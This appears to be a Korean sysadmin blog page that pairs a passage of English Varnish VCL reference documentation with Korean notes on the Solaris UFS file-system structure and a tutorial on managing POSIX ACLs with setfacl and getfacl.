Return the specified error code to the client and abandon the request.

pass

Switch to pass mode. Control will eventually pass to vcl_pass.

deliver

Deliver the cached object to the client. Control will eventually pass to vcl_deliver.

vcl_miss

Called after a cache lookup if the requested document was not found in the cache. Its purpose is to decide whether or not to attempt to retrieve the document from the backend, and which backend to use.

The vcl_miss subroutine may terminate with one of the following keywords:

error code [reason]

Return the specified error code to the client and abandon the request.

pass

Switch to pass mode. Control will eventually pass to vcl_pass.

fetch

Retrieve the requested object from the backend. Control will eventually pass to vcl_fetch.

vcl_fetch

Called after a document has been successfully retrieved from the backend.

The vcl_fetch subroutine may terminate with one of the following keywords:

error code [reason]

Return the specified error code to the client and abandon the request.

pass

Switch to pass mode. Control will eventually pass to vcl_pass.

deliver

Possibly insert the object into the cache, then deliver it to the client. Control will eventually pass to vcl_deliver.

esi

ESI-process the document which has just been fetched.

vcl_deliver

Called before a cached object is delivered to the client.

The vcl_deliver subroutine may terminate with one of the following keywords:

error code [reason]

Return the specified error code to the client and abandon the request.

deliver

Deliver the object to the client.

vcl_timeout

Called by the reaper thread shortly before a cached document reaches its expiry time.

The vcl_timeout subroutine may terminate with one of the following keywords:

fetch

Request a fresh copy of the object from the backend.

discard

Discard the object.

vcl_discard

Called by the reaper thread when a cached document is about to be discarded, either because it has expired or because space is running low.

The vcl_discard subroutine may terminate with one of the following keywords:

discard

Discard the object.

keep

Keep the object in cache.

If one of these subroutines is left undefined or terminates without reaching a handling decision, control will be handed over to the builtin default. See the EXAMPLES section for a listing of the default code.

vcl_error

XXX - needs documentation.

Variables

Although subroutines take no arguments, the necessary information is made available to the handler subroutines through global variables.

The following variables are always available:

Global variables

now

The current time, in seconds since the epoch.

Backend declarations

The following variables are available in backend declarations:

.host

Host name or IP address of a backend.

.port

Service name or port number of a backend.

Hashing a request

The following variables are available while determining the hash key of an object:

req.

req.hash

The hash key used to refer to an object in the cache. Used when both reading from and writing to the cache.

Processing a request

The following variables are available while processing a request:

client.

client.ip

The client’s IP address.

server.

server.ip

The IP address of the socket on which the client connection was received.

server.port

The port number of the socket on which the client connection was received.

req.

req.request

The request type (e.g. "GET", "HEAD").

req.url

The requested URL.

req.proto

The HTTP protocol version used by the client.

req.backend

The backend to use to service the request.

req.backend.healthy

Whether the backend is healthy or not.

req.http.header

The corresponding HTTP header.

Preparing a backend request

The following variables are available while preparing a backend request (either for a cache miss or for pass or pipe mode):

bereq.

bereq.request

The request type (e.g. "GET", "HEAD").

bereq.url

The requested URL.

bereq.proto

The HTTP protocol version used to talk to the server.

bereq.http.header

The corresponding HTTP header.

bereq.connect_timeout

The time in seconds to wait for a backend connection.

bereq.first_byte_timeout

The time in seconds to wait for the first byte from the backend. Not available in pipe mode.

bereq.between_bytes_timeout

The time in seconds to wait between each received byte from the backend. Not available in pipe mode.

Cache hit or backend retrieval

obj.

The following variables are available after the requested object has been retrieved from cache or from the backend:

obj.hits

The number of hits an object has received.

obj.proto

The HTTP protocol version used when the object was retrieved.

obj.status

The HTTP status code returned by the server.

obj.response

The HTTP status message returned by the server.

obj.cacheable

True if the request resulted in a cacheable response. A response is considered cacheable if it is valid (see above), the HTTP status code is 200, 203, 300, 301, 302, 404 or 410 and it has a non-zero time-to-live when Expires and Cache-Control headers are taken into account.

obj.ttl

The object’s remaining time to live, in seconds.

obj.lastuse

The approximate time elapsed since the object was last requests, in seconds.

Preparing response

resp.

The following variables are available while preparing a response to the client:

resp.proto

The HTTP protocol version to use for the response.

resp.status

The HTTP status code that will be returned.

resp.response

The HTTP status message that will be returned.

resp.http.header

Values may be assigned to variables using the set keyword:

sub vcl_recv {
  # Normalize the Host: header
  if (req.http.host ~ "^(www.)?example.com$") {
     set req.http.host = "www.example.com";
  }
}

HTTP headers can be removed entirely using the remove keyword:

sub vcl_fetch {
  # Don’t cache cookies
  remove obj.http.Set-Cookie;
}

 

원문 : http://varnish-cache.org


Trackback 0 Comment 0
2009.05.27 17:43

UFS(Unix File System) ACL 사용

UFS 파일시스템 : 사용자나 시스템이 접근하는 파일이나 디렉토리를 저장한 정보를 가짐
 
   ① 디스크레이블
   ② 부트블럭
   ③ 슈퍼블럭
    ---------------
   ④ 백업슈퍼블럭        ┐
   ⑤ 실린더 그룹 블럭  │  First Cylinder Group  : 논리적으로 나눠놓은 공간
   ⑥ i-node 테이블      │
   ⑦ 데이터 블럭          ┘
    ---------------
   ⑧ 백업슈퍼블럭       ┐
   ⑨ 실린더 그룹 블럭  │ Second Cylinder Group
   ⓐ i-node 테이블      │                :
   ⓑ 데이터 블럭         ┘                 :

① 디스크레이블 : VTOC, 디스크에 대한 전반적인정보, (slice를 구성할때 생성됨)
② 부트블럭 : 시스템이 부팅하는데 사용되는 bootblk 프로그램이 저장되는 곳
                    부팅에 대한 정보를 저장해 놓은 영역,  각각의 파일 시스템에 존재(slice단위)
                    부팅불가능한 파일시스템에는 bootblk프로그램이 저장되지 않음
③ 슈퍼블럭 : 16~31섹터를 사용하며, 파일 시스템에 대한 전반적인 정보를 저장하는 영역
                     + 데이터블럭의 수, 실린더그룹의 수, i-node, 백업슈퍼블럭

④ 백업슈퍼블럭 : 슈퍼블럭에 대한 복사본
                           #newfs -N /dev/rdsk/c0d0s0 : slice, 슈퍼블록백업 정보가 출력
                              정보중) 16 c/g : 1개의 실린더 그룹에 16개 실린더로 구성
                                          16.00MB/g : 1개의 실린더 그룹의 용량은 16Mb
                                          7680 i/g : 7680개의 i-node가 소속
⑤ 실린더 그룹 블럭  : 최소 16에서 최대 256개 실린더로 구성되며, disk 접근 속도 향상 목적
                                 + 백업슈퍼블럭 : 슈퍼블럭의 정보를 가짐 (복사본)
                                 + 실린더그룹블럭 : i-node테이블 정보와, 데이터블록에 대한 정보
                                 + i-node : 데이터블럭에 대한 위치정보
                                 + 데이터블럭 :  데이터의 실제 저장소
⑥ i-node 테이블 : 실제 데이터를 저장하는 데이터 블록의 위치를 저장하는 영역
                i-node테이블 하나의 크기는 약 64kbyte
                file type, permission, uid, gid, size, date, direct pointer, single I.D.P, Double I.D.P, shadow i-node 정보가 저장
                   #ls -i : i-node의 Number를 확인
 *shadow i-node : ACL정보를 저장

⑦ 데이터 블럭 : 실제 데이터의 실제 저장소


링크파일
     - symbolic link : 윈도우의 단축아이콘과 비슷, 사이즈는 경로명의 글자수 (file type : l)
                               디렉토리 링크 가능
                               원본에 문제가 생기면 내용을 확인 할 수 없다.
                               #ln -s a b (ln -s 원본파일명 링크파일명)
     - Hard link : 원본과 동일한 i-node 사용, 파일로 만들어지지 않으며, 디렉토리 안에 i-node정보를 변경하기 때문에 링크수가 증가한다)
                        디렉토리 자체는 링크 할 수 없다
                        원본에 문제가 생겨도 내용확인이 가능하다
                        #ln a b   (ln 원본파일명 링크파일명)
                        *복사와는 개념이 틀림 (복사는 데이터블록도 틀리고, i-node정보도 틀림)


Device File
 + 시스템의 하드웨어나 주변기기를 나타내는 파일
 + 디바이스 파일의 실제 크기는 존재하지 않음 (185, 3등으로 표시한다)
     ┌ major number : 디바이스 파일의 종류 , 185
     └ minor number : 디바이스의 위치 , 3



mount : 물리적인 저장공간을 사용하기 위하여, 저장매체를 논리적인 저장공간으로 포인터로 연결 (디렉토리로 연결)
  옵션) -F (ufs, hsfs, pcfs, nfs) : 파일시스템을 지정하는 옵션 (기본적으로 ufs파일 시스템으로 지정)
    > mount 명령어는 재부팅을 하면 사라짐



퍼미션만으로는 충분치 않을 때 ACL을 사용하라.

예전에는 대체로 Unix 의 파일 퍼미션만으로 충분했다. 그러나, 다중 사용자로 구성된 고도의 협업 환경에서는 이 방법만으로는 관리가 힘들게 되었다. ACL(Access control list)은 오픈 소스Unix(Linux계열)에서는 새로운 기능이지만, 예전부터 상용 OS에서는 사용되고 있었다. ACL은 원래 시스템의 안전성을 높여주는 것이 아니라, 복잡한 퍼미션 관리를 편리하게 해주는 것이다. ACL은 파일과 디렉터리 퍼미션을 적용하는 새로운 방법으로, 불필요한 그룹을 생성하지는 않는다.

ACL은 파일시스템의 메타데이터의 확장된 속성으로서 저장된다. 당신이 정한 기준에 근거하여 파일이나 디렉터리에 액세스를 허가하거나 거부하는 리스트를 ACL에 정의할 수 있다. 하지만, ACL은 기존의 퍼미션 시스템을 완전히 버리는 것은 아니다. ACL은 user와 group에 지정할 수 있고, read, write, execute 영역으로 구분된다. 게다가 ACL은 파일 모드의 "other" 비트처럼 어떠한 유저 ACL이나 그룹 ACL에도 속하지 않는 유저나 그룹에도 정의할 수 있다.

또한 ACL은 ACL 마스크(mask)라는 것을 가지고 있어, 유저와 그룹에 지정된 모든 ACL의 퍼미션 마스크로서 동작한다. 이것은 umask와 비슷하지만, 약간 다르다. 예를 들어, ACL마스크를 r-- 로 설정하면, 일치하는 모든 ACL은 자신의 갖고 있는 퍼미션(예: rw-)이 효력을 잃게 되어, r--로 설정된다. 디렉터리는 디폴트 ACL을 가질 수 있는데, 이것은 해당 디렉터리에 내에서 생성되는 파일이나 서브디렉터리의 디폴트 ACL이다.


1. ACL의 활성화

Linux 계열(Ext2/3, ReiserFS, JFS, XFS)에서 사용되는 대부분의 파일시스템은 ACL을 지원하고 있다. Linux의 경우, 당신이 사용하고 있는 파일 시스템의 종류에 해당하는 커널 구성 옵션이 설정되어 있는지 확인하면 된다.

CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_REISERFS_FS_POSIX_ACL=y
CONFIG_JFS_POSIX_ACL=y
CONFIG_FS_POSIX_ACL=y
CONFIG_XFS_POSIX_ACL=y


FreeBSD의 경우에는 파일시스템을 acls 옵션으로 마운트하면 ACL을 사용할 수 있다.

# mount -o acls -u /usr
# mount

/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
/dev/ad0s1f on /usr (ufs, local, soft-updates, acls)
/dev/ad0s1d on /var (ufs, local, soft-updates)


-u옵션은 현재 마운트되어 있는 파일시스템의 마운트 옵션을 업데이트한다. 비활성화할 경우에는 noacls 옵션을 사용한다. 파일시스템 부팅시 자동으로 ACL을 활성화하려면, /etc/fstab 에서 해당 파일시스템 부분을 다음과 같이 수정한다.

/dev/ad0s1f /usr ufs rw,acls 2 2


2. ACL관리

ACL이 활성화되면, setfacl커맨드를 사용하여 ACL의 설정, 수정 및 삭제가 가능하다. ACL을 생성하거나 수정하기 위해서는 -m옵션을 사용한다. -x옵션과 함께 ACL이나 ACL리스트를 지정하면 ACL을 삭제할 수 있다.

다음과 같이 ACL은 일반적으로 user, group, other의 형태로 나뉜다.

# User ACL
u:[user]:
# Group ACL
g:[group]:
# Other ACL
o:


user와 group 에 ACL을 지정할 때 ACL명은 옵션이다. ACL명이 생략되면, ACL은 base ACL을 적용하는데, 이것은 파일의 mode bit에서 유래한 것이다. 따라서 base ACL을 변경하면, 마찬가지로 mode bit도 변경된다.

다음은 myfile이라는 파일을 생성하고, 그 파일의 base ACL을 수정하는 예이다.

$ touch myfile
$ ls -l myfile

-rw-rw-r-- 1 andrew andrew 0 Oct 13 15:57 myfile
$ setfacl -m u::---,g::---,o:--- myfile
$ ls -l myfile

---------- 1 andrew andrew 0 Oct 13 15:57 myfile


이 예에서는 컴마(,)를 사용하여 여러 ACL을 지정하고 있다.

다음 예는 유저나 그룹에 ACL을 지정하는 것을 나타낸다.

$ touch foo
$ setfacl -m u:jlope:rwx,g:wine:rwx,o:--- foo
$ getfacl foo

# file: foo
# owner: andrew
# group: andrew
user::rw-
user:jlope:rwx
group::---
group:wine:rwx
mask::rwx
other::---


마스크를 r--로 변경하면, jlope 과 wine 의 ACL은 실제 r-- 이 된다.

$ setfacl -m m:r-- foo
$ getfacl foo

# file: foo
# owner: andrew
# group: andrew
user::rw-
user:jlope:rwx #effective:r--
group::---
group:wine:rwx #effective:r--
mask::r--
other::---


위에서 언급했듯이, 디렉터리는 자신의 디렉터리내에서 생성되는 파일에 자동으로 적용되는 디폴트 ACL을 가질 수 있다. 디폴트 ACL을 지정하기 위해서는 d: 를 사용한다.

$ mkdir mydir
$ setfacl -m d:u:jlope:rwx mydir
$ getfacl mydir

# file: mydir
# owner: andrew
# group: andrew
user::rwx
group::---
other::---
default:user::rwx
default:user:jlope:rwx
default:group::---
default:mask::rwx
default:other::---

$ touch mydir/bar
$ getfacl mydir/bar

# file: mydir/bar
# owner: andrew
# group: andrew
user::rw-
user:jlope:rwx #effective:rw-
group::---
mask::rw-
other::---


getfacl 커맨드를 사용하여 ACL을 참조할 수 있다. 이 커맨드는 간단하여 옵션이 별로 없지만, -R옵션을 사용하면 ACL을 반복하여 실행하므로 유용하다(ls –R과 유사). 

 

UFS(Unix file system) 구조 

0      Disk Label
1~15   Bootblk
16~31  Super Block 
32     Backup Super Block         ---------------------------------------------
       Cylinder Group Block       First cylinder group
       Inode table
       Data Block                 ---------------------     ufs file system                      
       Backup Super Block         Second cylinder group
       Cylinder Group Block
       Inode table
       Data Block                 ----------------------------------------------


◆ Disk Label

- 하드 디스크 전체 정보를 담고 있는 영역으로 0번 sector에 저장된다.
- 디스크 레이블에 저장되는 데이터는 섹터의 크기, 트랙 하나당 섹터의 개수,
- 실린더 하나 당 트랙의 개수, 실린더 하나당 섹터의 개수, 전체 실린더의 개수,
- 슬라이스 테이블 등의 내용이 저장된다.
- 디스트 레이블은 VTOC 라고 불리기도 한다.

# prtvtoc /dev/dsk/c0d0s2

 

◆ Boot Block [1~15] (7.5kbyte)

- bootprogram저장
- 각각의 파일 시스템에 존재
- root file system은 오직 하나의 active boot block 소유


. 시스템이 부팅하는 대 사용되는 bootblk 프로그램이 저장되는 곳

 

◆ Superblock [16~31]

. 파일 시스템에 대한 중요한 정보가 저장되어 있다.

 

file system 에 대한 정보를 저장

-datablock의 수
-cylinder group의 수
-data block크기와 fragment의 수
-mount point 이름
-file system  상태 플래그
(clean,stable,active,logging,unknown)

 

◆ Cylinder groups

 

Definition

* disk 접근 속도 향상
* 최소 16개의 cylinder로 구성

구성요소

* Backup super block
* cylinder group block
-inode 의 수, cylinder group 에서 data block의 수, 디렉토리 수
-free block, free inode, free fragment, free block map
-사용중인 inode map

* Inode table
-data block에 대한 위치 정보

* Data block
-data의 실제 저장소
-8kbyte 단위

. 실제 파일이나 디렉토리의 저장하는 영역이다.

. 백업 수퍼블럭, 실린더 그룹 블록, i-node table, 데이터 블록이 모여 하나의 실린더 그룹을 이룬다.
. 파일 시스템이 크면 실런더 구룹도 커진다. 최소 16개의 실런더부터 최대 256개까지 가능하다.
. i-node의 크기는 항상 일정하지만 데이터 블록의 크기는 파일의 크기에 따라 다른다.

 

◆ Backup Superblock

*Definition
- super block의 backup
- 각 cylinder group당 하나씩 존재
- 첫번째 backup block는 32sector부터 시작

.실린더 그룹의 내용 중 가장 먼저 나오는 내용이다.

.백업 수퍼 블록은 수퍼 블록이 잘못 되었을 경우를 대비하여 수퍼블록과 동일한 내용을 가지는 영역이다
.항상 실린더 그룹의 처음에 위치하고 크기도 수퍼 블록과 동일하다.
.수퍼블록이 잘못 되었을 경우 fsck 명령어를 사용해 백업 수퍼 블록으로 정정할 수 있다.

 

◆ Inode

* i-node table

전체 파일 시스템에 존재하는 i-node중 현재 실린더 그룹에 할당된 i-node들의 시작 위치가 기록됨

.ls-l 명령어를 사용 했을 경우 파일 이름을 제외한 나머지 정보가 모두 기록되어있다.

.실제 데이터를 저장하는 데이터 블록의 위치가 어디에 있는지 저장된다.
.i-node table 정보는 file type, permission ,uid, gid, size, date, direct pointer, single
I.D.P , Double I.D.P, Triple I.D.P shadow i-node 정보가 들어가 있다.
.direct-pointer는 4byte로 1개의 data블록을 가르킨다. 12개의 data 블록, 즉 96kbyte를 저장한다.
.단일 간접 포인터가 지정하는 위치의 파일 시스템 블록에는 8kbyte는 4byte direct-pointer 2048
를 가진다. 즉 16MB까지 표현 가능하다
.이중 간접 포인터가 지정하는 위치의 파일 시스템 블록에는 단일 간접 포인터가 단일 간접 포인터에는
직접 포인터가 존재한다. 즉 2048 * 2048 * 8kbyte 의 내용을 추가할 수 있기에 32GB까지 표현 가능하다
.삼중 간접포인터가 지정하는 위치의 파일 시스템 블록에는 이중 간접 포인터가 이중 간접 포인터는
단일 간접 포인터를 단일 간접 포인터는 직접 포인터를 가르킨다. 즉 2048 * 2048 * 8Kbyte의
내용을 추가할 수 있기에 64TB까지 표현 가능하다.

 

◆ shadow inode

*definition
-setfacl에 의 해 설정된 permission
-ufs inode (일반) vs shadown inode

*file inodes

owner permission
group permission
other permission
shadow adress  -------------------------*shadown inode         
file data address-----↓                   ACL
                               ↓                    ↓
                               ↓                    ↓
                        *data black            *DATA BLACK
                             file data             ACL list
                                                     user100:rwx
                                                    group700;r-x

-shadow i-node

.기본 권한 이외에 ACL(access control list)이 추가로 설정된 파일이나 디렉토리는 i-node와 함께 shadow i-node를 가진다
.i-node 기본 권한과 함께 ACL이 저장된 데이터 블럭에 대한 직접 포인터도 함께 가진다
.setfacl명령어 사용해서 ACL 설정을 하게 되면 shadow i-node가 추가로 생성된다
shadow i-node에는 i-node가 가지는 권한 소유주 이름 그룹 소유주 이름에 관련된 정보가
저장되고 shadow i-node가 직접 포인터를 사용해 지저하는 데이터 블럭에 setfacl명령어로 설저한 ACL내용이 저장된다.

 

◆ Datablack

*definition
-실제 데이터가 저장되는곳
-8kbyte단위 

*fragmentation

   frament
      ↑
ㅁ ㅁ ㅁ ㅁ ㅁ ㅁ ㅁ ㅁ )->전체 data black(8192byte)

1024byte

- data black & data black fregment

.솔라리스에서 파일의 실제 데이터를 저장하기 위해 8kb의 데이터 블록을
파일 크기에 따라 할당한다

.touch를 이용해 파일을 생성할 경우에도 데이터 블록을 할당한다 touch뿐 아니라작은 데이터 파일에도 동일하게8kb의 데이터 블록을 할당할 경우 공간 낭비가도기 때문에
하나의데이터 블록을 8개 조각으로 나누어 블록 조각 하나하나를 파일마다 할당해서 사용할수 있다

.파일이 아무리 작아도 동일한 데이터 블록을 공유 할수 없다.


Trackback 0 Comment 0